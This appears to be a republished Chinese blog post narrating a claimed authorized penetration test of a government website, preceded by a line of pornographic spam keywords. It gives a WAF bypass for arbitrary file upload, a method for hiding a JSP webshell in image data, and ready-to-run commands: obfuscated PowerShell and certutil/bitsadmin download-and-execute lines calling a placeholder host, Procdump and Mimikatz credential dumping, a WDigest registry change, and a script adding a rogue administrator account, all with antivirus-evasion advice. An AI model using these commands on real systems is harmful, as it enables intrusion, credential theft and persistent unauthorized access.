日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一次授权渗透实战

發布時間:2025/3/15 编程问答 14 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一次授权渗透实战 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

很久沒有整理實戰文章了,恰好這周項目上有一個目標折騰了兩天時間,記錄分享下其中的心路歷程(本次滲透過程均在目標授權下進行,請勿進行非法滲透行為)。

目標基本信息

某政務網站

服務器–windows

數據庫–未知

中間件–Tomcat

開發語言–java

未使用CDN

存在waf–種類未知

Getshell過程

其它漏洞的挖掘過程不再描述,直奔權限,發現目標存在一處上傳功能。

上傳成功后返回取件碼。

使用取件碼進行信件查詢。

點擊附件為下載鏈接。

通過對下載鏈接進行測試,發現報錯時泄漏了網站的絕對路徑。

進過幾次嘗試,成功訪問到上傳的圖片。

網站waf對上傳文件的后綴名進行了白名單限制。

根據以往的bypass經驗,開始手撕waf。

后綴名校驗繞過

尋找waf的設計缺陷來繞過waf的上傳限制,

常用的幾種方法有:

刪除實體里面的Conten-Type字段

刪除Content-Disposition字段里的空格

修改Content-Disposition字段值的大小寫

文件名處回車

等等等等。

總結一下思路就是在不影響正常上傳功能的前提下,嘗試改變數據包的部分格式內容,繞過waf的校驗。

經過多次嘗試,當Content-Disposition字段修改為Content+Disposition時可以繞過waf,可以看到上傳功能的代碼未對后綴名做限制,存在任意文件上傳漏洞。

內容校驗繞過

成功對文件后綴名進行了繞過。

直接上傳免殺還可以的冰蝎馬。

上傳失敗,再次被waf攔截,發現還存在文件內容校驗,嘗試使用平時積累的免殺馬。

經過嘗試免殺馬全部陣亡,無一例外。

當使用java的輸出函數時也會被waf檢測攔截。

第一次碰到連輸出helloword都攔的waf。

經過多次測試,waf對絕大部分的java函數都進行了攔截。

內容加密

這種情況下,首先想到的解決方案是對木馬進行加密。

在網上查找相關的資料,發現了LandGrey大佬的一個unicode編碼的菜刀馬。傳送門

可以上傳成功。

必須要使用caidao-20160622的版本進行連接(默認分隔符: X@Y),然而。

菜刀流量被waf攔截了。

想到了2種解決方案。

1、使用內容加密的大馬,例如下圖的php大馬的這種加解密。

2、菜刀馬流量中轉,上傳中轉菜刀馬,配合本地加解密腳本文件,對數據進行中轉加密傳輸。

中轉Webshell 繞過安全狗(一)

中轉Webshell 繞過安全狗(二)

奈何網上關于jsp加密大馬和jsp中轉木馬研究的文章數量有限,再加上本人不懂java開發,最后以失敗告終。

在這個學習嘗試的過程看到了不少大佬優秀的文章,學習到了很多相關知識。如:

菜刀HTTP流量中轉代理過WAF

CaidaoMitmProxy:基于HTTP代理中轉菜刀過WAF

感興趣的小伙伴可以研究下。

內容混淆

內容加密bypass失敗了,只能換一個思路。

嘗試對文件內容進行混淆,繞過waf。

首先想到的是圖片馬,嘗試把木馬隱藏到圖片源碼中,繞過waf。

在這個過程中也踩了一些坑,有些圖片源碼包含特殊字符會和木馬的代碼發生沖突,因此需要特殊處理過的圖片才能保證正常解析。

使用notepad++打開準備好的圖片,把jsp馬插入到圖片源碼中。

更改為jsp后綴進行上傳。

上傳失敗,猜測可能是混淆的力度不夠,未起到混淆的目的。

開始增加文件內容的長度,復制圖片的一段源碼,反復的粘貼到木馬的前后位置,經過若干次嘗試,返回了上傳成功,且只能成功一次,下

次上傳需要重新混淆,難道waf還自帶了機器學習?

訪問webshell地址,文件解析成功,成功拿下了目標的webshell,權限為最高的administrator權限。

上傳的為CMD馬,只能執行系統命令,目標通互聯網,下一步的思路是:使用命令直接下載cs馬或者msf馬執行。

使用命令下載免殺exe到本地執行。

cmd下常用的下載命令有三種,推薦使用證書下載命令,免殺性強,其它兩種容易被防護攔截。

證書下載

certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe?

vbs下載?

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs?

cscript downfile.vbs http://x.x.x.x/1.exe D:\\1.ex

bitsadmin命令下載?

bitsadmin /transfer n http://x.x.x.x/1.exe D:\\1.exe

在可以調用powershell的情況下,推薦使用powershell對木馬文件進行下載執行,優點是免殺可操作性強,無落地文件。

這里給出我之前發布的免殺powershell命令

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"

免殺處理的方法有很多,可以參考我之前發布的文章中。攻防演練對抗賽之初識文件釣魚

也可以關注我們Tide安全團隊的公眾號,查看免殺系列文章。

上傳后成功執行,cs成功接收到會話信息。

嘗試激活guest用戶,加入管理員組失敗。

存在服務器防護需要繞過。

服務器為server 2008,默認情況下,可以使用Procdump+Mimikatz來讀取管理員的明文密碼。

Procdump由微軟官方提供,絕大多數情況下不會被殺。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

分為2步:

1、導出lsass.exe進程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz破解導出的文件lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要上傳procdump64.exe生成lsass.dmp文件,下載后本地讀取密碼。

對于server 2012以上,或者打了補丁的操作系統,無法直接讀取明文,必須修改注冊表,重啟服務器等待管理員登錄才能獲取到明文密碼。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

還可以選擇執行powershell命令添加用戶。

使用Get-ExecutionPolicy 查看當前執行策略為Restricted(默認策略,不允許任意腳本的執行)

使用Set-ExecutionPolicy 設置執行的策略為RemoteSigned (本地腳本無限制,但是對來自網絡的腳本必須經過簽名)

相關powershell命令可查看CSeroad大佬的文章。傳送門

powershell的免殺性強,大多數情況下都可以執行成功。

上傳添加用戶的ps1文件到服務器中,調用powershell執行,此方法可以繞過大部分殺軟,達到免殺加用戶到管理員組的目的。

powershell 1.ps1

$computer=Get-WMIObject Win32_ComputerSystem $computername = $computer.name $username = 'admin' $password = '1234qwer..' $desc = 'Local admin account' $computer = [ADSI]"WinNT://$computername,computer" $user = $computer.Create("user", $username) $user.SetPassword($password) $user.Setinfo() $user.description = $desc $user.setinfo() $user.UserFlags = 65536 $user.SetInfo() $group = [ADSI]("WinNT://$computername/administrators,group") $group.add("WinNT://$username,user")

添加用戶成功后。

使用cs自帶的socks4隧道。

本機配置Proxifer。

成功把本機帶入目標內網。

打開遠程桌面功能,輸入對方的內網ip和遠程桌面端口,輸入用戶名密碼。

登錄成功,目標安裝了服務器安全狗和企業版金山毒霸,到此滲透結束。

總結

由于不懂java開發,導致前期的getshell耽誤了過長時間,未解決的問題,后面還需要再學習。

滲透過程中走了很多彎路,但也學習到了很多新的知識。

總結

以上是生活随笔為你收集整理的一次授权渗透实战的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。